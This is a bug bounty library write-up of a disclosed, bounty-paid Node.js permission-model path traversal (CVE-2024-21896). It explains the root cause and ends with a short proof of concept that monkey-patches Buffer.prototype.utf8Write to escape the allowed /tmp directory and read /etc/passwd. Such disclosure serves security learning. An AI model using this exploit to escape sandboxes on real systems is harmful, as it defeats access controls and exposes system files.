# Path traversal by monkey-patching Buffer internals

Node.js permission model's path.resolve sanitization bypassed by monkey-patching Buffer.prototype.utf8Write, letting sandboxed code read /etc/passwd outside allowed /tmp.

- Payout: $2,430
- Severity: high
- Program: Internet Bug Bounty
- Found by: tniessen
- Disclosed: 2024-05-29
- CVE: CVE-2024-21896
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2434811
- Library page: https://bugbountylibrary.com/r/h1%3A2434811
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal vuln:sandbox-escape

**Target:** Node.js permission model (experimental) path handling in lib/internal/fs/utils.js possiblyTransformPath
**Root cause:** possiblyTransformPath calls Buffer.from(path.resolve(...)) to re-encode the sanitized path; Buffer.from internally invokes Buffer.prototype.utf8Write, which user code can overwrite, mutating the resolved path after sanitization.
**Steps:**
1. Run `node --experimental-permission --allow-fs-read=/tmp`
2. Overwrite `Buffer.prototype.utf8Write` with a wrapper that rewrites `/exploit` prefix to `/tmp/..`
3. Call `fs.readFileSync(new TextEncoder().encode('/exploit/etc/passwd'))`
4. Permission model resolves path, then Buffer.from re-encodes via patched utf8Write producing `/tmp/../etc/passwd`, which passes the `/tmp` prefix check and reads /etc/passwd
**How found:** Prior CVEs (CVE-2023-32004 etc.) patched path.resolve and Buffer.from replacement, but researcher reasoned that Buffer.from's internal call to Buffer.prototype.utf8Write remained monkey-patchable, giving a hook after sanitization.
**Exploitation:** Attacker-controlled JS in a permission-restricted Node process monkey-patches Buffer.prototype.utf8Write before invoking fs APIs with a Buffer path; the sanitized path is rewritten post-resolve to escape the allowed directory, enabling reads (and potentially writes) outside the permission model's allowlist.
**Insight:** When a sandbox sanitizes a value then re-encodes it via a user-replaceable prototype method (Buffer.from -> utf8Write), the sanitization is undone; look for post-validation conversions that route through monkey-patchable JS builtins rather than native bindings.

## Proof of concept (copied exactly from the original report)

**Monkey-patch utf8Write to bypass permission model**

```
Buffer.prototype.utf8Write = ((w) => function (str, ...args) {
...   return w.apply(this, [str.replace(/^\/exploit/, '/tmp/..'), ...args]);
... })(Buffer.prototype.utf8Write);
[Function (anonymous)]
> fs.readFileSync(new TextEncoder().encode('/exploit/etc/passwd'))
```

